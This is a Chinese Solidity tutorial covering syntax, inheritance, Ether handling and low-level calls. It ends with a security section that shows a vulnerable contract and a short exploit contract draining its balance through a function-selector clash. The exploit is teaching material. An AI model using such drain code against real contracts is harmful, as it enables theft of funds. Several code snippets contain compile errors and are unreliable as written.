智能合约一日通——Solidity篇

比特币是中本聪(未必是个体,可能是一群人,人人都可能是中本聪)送给全世界的礼物,在过去的历史经验中,我们看到了其叹为观止的金融属性,但是作为一种创新我们除了看到其金融性质外,还有很多熟悉的事物值得被重新定义,从而探索出新的价值。就比如说:信任和验证。这也带来了在区块链上部署去中心可计算合约的可能性:Smart Contract。

智能合约是什么?简单说就是区块链内的用户实现的协议,一个智能合约可以包含一组函数,可以与其它的合约交互、投票、存储资料以及传送Crypto等。智能合约通常要满足可验证和合约内条款可以被执行。实际上,正因为依托于区块链技术,智能合约可以在没有第三方的情况下进行可信交易,交易可追踪,不可逆。因为区块链的固有性质,智能合约DApp的开发与过往传统App开发在体验上存在较为明显的不同,这里我尝试用尽量短的篇幅给出一个可快速上手的教程。

从Hello World开始

现有的智能合约编程语言包括了SolidityVyper 还有 Rust,这里我们选用Solidity,一种最常用的智能合约编程语言,其语法特征比较接近于JavaJavaScriptC++三者的混合体。这里给出一个例子:

1
2
3
4
5
pragma solidity ^0.8.10;  // pargma声明Solidity编译器的版本

contract HelloWorld {
string public greet = "Hello World";
}

上面的智能合约,声明了编译器的版本,定义了一个智能合约。合约内部声明了一个变量,这种变量也叫做state变量,可存储信息于以太坊网络中,并需要支付一定的gas fee费用。我们在试图创建智能合约的时候,在满足自身需求的前提下,还要重点考虑到部署成本和安全这两个问题。因为区块链的不可更改的性质,智能合约的升级与重新部署基本不能用传统的手段去实施,类似的出现了漏洞的补救也十分棘手,这就给我们的区块链编程模型带来很大挑战。以下几个方面值得关注:

  1. 区块链基础设施不健全:无论是web2的云基础设施,还是开发工具链都尚处于萌芽阶段,PaaSIaaS相关门类的服务比较少
  2. 区块链DApp开发不能用web2时代小步快跑的模式,而需要一步到位。迭代模式和中心化互联网应用有本质不同
  3. 中心化web应用的运行和部署成本由项目方全部承担,用户不会直接参与这个环节;DApp则由项目方和用户共同承担,合约的部署和执行的费用明码标价(gas fee)
  4. 中心化时代,应用的执行是在无数个独立的计算机上完成的;去中心时代,反而要把区块链网络看成是一个大的计算机
  5. 去中心时代对可信的要求是刚需,开发者不能像云时代一样很轻松的将相当的安全需求依赖于云服务提供商,但是随着工具链的进步(比如新一代数据分析引擎),可能可以得到缓解

基础知识

Gas

区块链的运营也有成本,在web2时代,运营成本被中心化服务商直接承担或分出一部分让广告商亦或用户间接承担,在使用很多耳熟能详的App时,用户不承担服务成本。在web3时代,这个成本与用户直接的距离被拉进,既有本身传播账本的消耗,也存在防范DDOS攻击的理由。

通常,Gas是一个计算单元,在一次智能合约事物中的总花费就是gas fee,这个出价是波动的,出价高的会被优先加载到区块中。一般资源越挤兑,gas fee越高,反之价格越亲民,降低gas fee是推广区块链技术的重要话题。

对于开发者而言,写出低gas消耗的合约也需要我们认真研习合约和合约语言的特性并付诸实践、持续积累。

变量与基本控制流

Solidity是一个静态强类型语言,含有基本的数据类型,我们编写智能合约的核心是围绕address这个数据类型来的,地址也就是区块链地址,他是在合约部署前后(可前可后)由椭圆曲线函数和两步哈希生成的一串40位长的数字。它代表了区块链上的一个点,这个点就指向了这个合约本身。根据不同的需要这个点可以指向钱包合约、拍卖合约、token合约、NFT合约等等。

变量可以有不同的数据类型,也包含不同的变量类型:

  1. state变量:这是一种存储于区块链上的变量,可以用来记录状态,这种类型是变量是持久化的
  2. local变量:这是在函数体内部的临时变量,存储于内存中,当合约执行结束后,即刻被销毁
  3. global变量:这是区块信息的变量,主要有msgblock两个最为常用,区块的传递,支付和时间戳等信息都在其中

下面简单介绍一下核心语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
contract ControlFlow {
event Log(string message, uint val); // event是一种在链上存储信息而不用state变量的方法,是一种更经济的持久化方式
uint[] public arr; // 数组
struct MyStruct { // 结构体
uint foo;
string text;
}
mapping(address => MyStruct) public myStructs; // Mapping
enum Status { // 枚举
None,
Pending,
Shipped,
}
Status public status;

function examples() external {
arr.push(1); // 含有push pop等操作
delete arr[0]; // 与arr[0] = 0; 等价
status = Status.Shipped;
uint[] memory memArr = new uint[](3); // 内存中创建临时数组
}

function ifElse(uint _x) external pure returns (uint) {
// 基本的if-else控制流
if (_x < 10) {
return 1;
} else if (_x < 20) {
return 2;
} else {
return 3;
}
}

function ternaryOperator(uint _x) external pure returns (uint) {
// ?表达式
return _x > 1 ? 10 : 20;
}

function loop() external pure {
// for循环结构,和C++语法一致
for (uint i = 0; i < 10; i++) {
if (i == 3) {
continue;
}
if (i == 5) {
break;
}
}

// while循环
uint j;
while (j < 10) {
j++;
}
}

// 入参可以用calldata修饰,这是一种节约gas fee的方式,和memory类似但不可变更
function set(address _addr, string calldata _text) external returns(string memory) {
MyStruct storage myStruct = myStructs[_addr]; // 注意:Solidity的map不可以迭代
myStruct.text = _text;
return _text;
}
}

主要是if和循环语句构成控制流基本操作,数组、Map、枚举、结构体和常规语言一致,稍微需要注意Sodility的delete不是真的删除,数组长度不会变;与常规语言不同的点:

  1. external:只允许外部合约调用
  2. internal: 只允许合约内部或者子合约调用
  3. private:只能合约内部调用
  4. public:谁都可以调用
  5. pure:没有state变量
  6. view:有state变量
  7. calldata:一种比较节约gas fee的传参声明,类似memory但不可变
  8. memory:临时变量,存储于内存当中,通常是在函数调用时用到
  9. storage:state变量,存储于区块链上

合约结构

Solidity是一种支持多继承的多态模型,可被override的函数要在父合约中用virtual标注,继承使用is关键字。父合约的构造函数的调用和C++基本无二,调用父合约的函数则存在super和直接调用两种方式。如果熟悉面向对象编程的话,那么Solidity对于OO的支持与常见语言大差不差,但是多继承本身存在很多问题,也容易造成可维护性的下降,通常情况下建议优先使用接口加单继承的设计模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import "./OtherContract.sol";  // 加载其它合约

interface Interface {
function inc() external;
function dec() external;
}

contract X {
string private s;

constructor(string memory _s) {
s = _s;
}

function foo() public pure virtual returns (string memory) {
return "X";
}

function bar() public pure virtual returns (string memory) {
return "X";
}

function test(address _addr) external {
Interface(_addr).dec(); // 调用接口的语法
TestContract test = TestContract(_addr); // 声明合约实例
test.foo(); // 调用其它合约的函数
}
}

contract Y is X("X") { // 调用父合约的构造器
// 重载foo()
function foo() public pure virtual override returns (string memory) {
return "Y";
}

function bar() public pure virtual override returns (string memory) {
return "Y";
}
}

// 继承的顺序很重要,要按照优先级排列,从"most base-like"到"most derived"
contract Z is X, Y {
constructor(string memory _s) X(_s) {} // 调用父合约的构造器
// 重载foo()
function foo() public pure override(X, Y) returns (string memory) {
// super或者直接调用父合约函数
super.foo();
Y.foo();
return "Z";
}

function bar() public pure virtual override(X, Y) returns (string memory) {
return "Z";
}
}

接收Ether

需要实现recievefallback两个函数,同时可以接收和发送Ether的函数要用payable修饰。这两个函数的特性如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Fallback {
fallback() external payable {}
receive() external payable {}
}

/*
如何区分谁会被调用?
Ether 发送到某个Contract
|
msg.data 为空?
/ \
yes no
/ \
receive() 已经定义? fallback()
/ \
yes no
/ \
receive() fallback()
*/

Low-level调用

有两种低级调用,使得我们可以在不知道合约源码的情况下进行函数调用。一种叫call,有时我们也用call进行相对安全的转账;另一种叫做delegate call,这种调用要求caller和callee对应的合约的存储结构一致,也就是两个合约的field一模一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.8.13;

contract TestCall {
// Storage layout 必须一致才能进行delegate call
uint public num;
address public sender;
uint public value;

fallback() external payable {}

function bar(uint _x, bool _b) external {
barWasCalled = true;
}

function setNum(uint _num) external {
num = _num;
}
}

contract Call {
function callBar(address _addr) external payable {
// 使用函数签名来操作其它合约
(bool f, bytes memory b) = _addr.call(abi.encodeWithSignature("bar(uint256,bool)", 1, false));
// 下述调用同时发起以太转账
(bool f, bytes memory b) = _addr.call{
value: msg.value,
gas: 5000
}(abi.encodeWithSignature("bar(uint256,bool)", 1, false));
require(f, "");
}
}

contract DelegateCall {
uint public num;
address public sender;
uint public value;

function setNum(address _test, uint _num) external {
(bool success, bytes memory data) = _test.delegatecall(
abi.encodeWithSignature("setNum(uint256)", _num)
);
require(success, "failed");
}
}

支付与钱包应用

下述代码是一个简单的以太坊钱包的例子,合约可以接收Ether,已经只能被owner取出(withdraw)自己的以太:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract EtherWallet {
address payable public owner;

constructor() {
owner = payable(msg.sender);
}

fallback() external payable {}

function withdraw(uint _amount) external {
require(msg.sender == owner, "Not owner");
(bool sent, ) = owner.call{value: _amount}("");
require(sent, "failed");
}
}

主要应用

Solidity by Example建议通读,很多例子都非常不错,清晰易懂,这里挑选出一些比较重要的例子,建议精读:

  1. 签名验证: 这个例子有助于理解区块链上最基本的验证过程。我们都知道,区款链采取双重哈希配合椭圆曲线函数的加密方式,如何采用keccak256ecrecover恢复一个address的过程:源码
  2. Time Lock:DAO里常用的一种手段,防止被rug pull,基本原理就是设计一个时间窗口期去执行预先设定好的事务
  3. ERC20:ERC20标准的实现,允许转账token和其它人获得转账请求的例子
  4. ERC721:ERC721标准的实现,你可以创建自己的NFT
  5. CREATE2:让我们在未发布合约时提前预测合约地址,源码
  6. Dutch Auction:荷兰拍的实现,重点要清楚价格以一个跟利率X成反比的时间衰减速率的类log曲线下降

安全与可信

Solidity by Example上面全部Hacks相关的例子,鉴于合约上链后非常难以修改,所以合约的编写需要格外小心,提早做好安全防范是最重要的。

这里演示一个简单的攻击代码(来自Smart Contract Engineer),下面的合约中execute函数使用验证函数签名而不是签名的哈希值的方式来做守护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract FunctionSelectorClash {
constructor() payable {}

function execute(string calldata _func, bytes calldata _data) external {
require(
!eq(_func, "transfer(address,uint256)"),
"call to transfer not allowed"
);

bytes4 sig = bytes4(keccak256(bytes(_func))); // 这个代码生成一个function selector

(bool ok, ) = address(this).call(abi.encodePacked(sig, _data));
require(ok, "tx failed");
}

function transfer(address payable _to, uint _amount) external {
require(msg.sender == address(this), "not authorized");
_to.transfer(_amount);
}

function eq(string memory a, string memory b) private pure returns (bool) {
return keccak256(abi.encode(a)) == keccak256(abi.encode(b));
}
}

这里利用哈希碰撞来进行攻击,攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract FunctionSelectorClashExploit {
address public immutable target;

constructor(address _target) {
target = _target;
}

// Receive ETH from target
receive() external payable {}

function pwn() external {
// "transfer(address,uint256)" 与 "func_2093253501(bytes)"
// 拥有同样的 function selector,也就是函数签名的哈希值
// 0xa9059cbb
(bool ok, ) = target.call(
abi.encodeWithSignature(
"execute(string,bytes)",
"func_2093253501(bytes)",
abi.encode(msg.sender, target.balance)
)
);
require(ok, "pwn failed");
}
}

高级话题

to be continue…

后记

  1. 关于DApp开发相关的内容,推荐guoyu的这篇文章
  2. 强烈推荐将Smart Contract Enginner版切